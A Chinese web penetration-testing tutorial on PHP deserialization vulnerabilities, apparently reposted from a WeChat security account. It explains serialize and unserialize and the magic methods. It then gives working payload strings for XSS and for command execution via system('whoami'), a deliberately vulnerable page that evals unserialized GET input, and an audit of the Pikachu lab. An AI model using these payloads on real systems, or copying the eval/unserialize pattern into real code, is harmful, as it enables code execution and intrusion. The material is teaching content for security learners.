本节课视频讲解链接:
https://www.bilibili.com/video/BV19T411n7TW/?spm_id_from=333.999.0.0&vd_source=16d23ba7b6eb72e7c4367ba62ab5e2a5
1、漏洞说明
概述:
PHP涉及反序列化漏洞的函数主要有两个,分别是 serialize() 和 unserialize() 。
serialize序列化:
序列化简单来说就是将一个对象转换成可以传输的字符串。
例如下面的代码,将对象DemoClass转换成一段字符串:
O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}
O: 代表对象object
9: 代表对象名字的长度为9
3: 代表对象里有3个变量
s: 表示数据类型为String
4: 表示变量名称的长度
i: 表示数据类型为INT
<?php
class DemoClass{
public $name = "henry";
public $sex = "man";
public $age = 7;
}
$example = new DemoClass();
echo serialize($example);
#输出结果: O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}
?>
unserialize反序列化:
反序列化简单来说就是将序列化后的字符串还原成对象,如下代码所示:
<?php
class DemoClass{
public $name = "henry";
public $sex = "man";
public $age = 7;
}
$example = new DemoClass();
$SerialString = serialize($example);
$Object = unserialize($SerialString);
print($Object->name); #输出: henry
?>
涉及魔法函数:
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
如下所示为常见的魔法函数:
construct(): 当一个对象创建时被调用
destruct(): 当一个对象销毁时被调用
toString(): 当一个对象被当做一个字符串使用
sleep(): 在对象被序列化之前执行
wakeup(): 在序列化之后立即被调用
2、漏洞复现
复现案例一:
自行新建一个php文件来生成用于漏洞利用的字符串:
<?php
class S{
var $test = "<script>alert('Hacking')</script>";
}
$example = new S();
$SerialString = serialize($example);
echo $SerialString;
#输出: O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}
?>
将此字符串通过POST请求传递给后台,随后触发XSS反射型漏洞:
复现案例二:
生成命令执行序列号字符串:
<?php
class Example {
var $var = '';
}
$obj = new Example();
$obj->var="system('whoami');";
var_dump(serialize($obj));
//输出:string(53) "O:7:"Example":1:{s:3:"var";s:17:"system('whoami');";}"
?>
反序列化漏洞页面源码,通过get提交payload后执行反序列化命令:
<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['a']);
//输出执行系统用户名信息
?>
3、漏洞代码审计
通常反序列化漏洞的发现及利用是代码审计实现的,审计unser.php,前端将 $POST['o'] 变量传递给后台,后台将此变量反序列化成对象,然后输出该对象的 test 属性。
由此,可通过构造序列化的字符串传递给 $POST['o'] 来实现漏洞利用。
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
原文始发于微信公众号(ZackSecurity):【Web渗透入门】10.反序列化漏洞讲解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论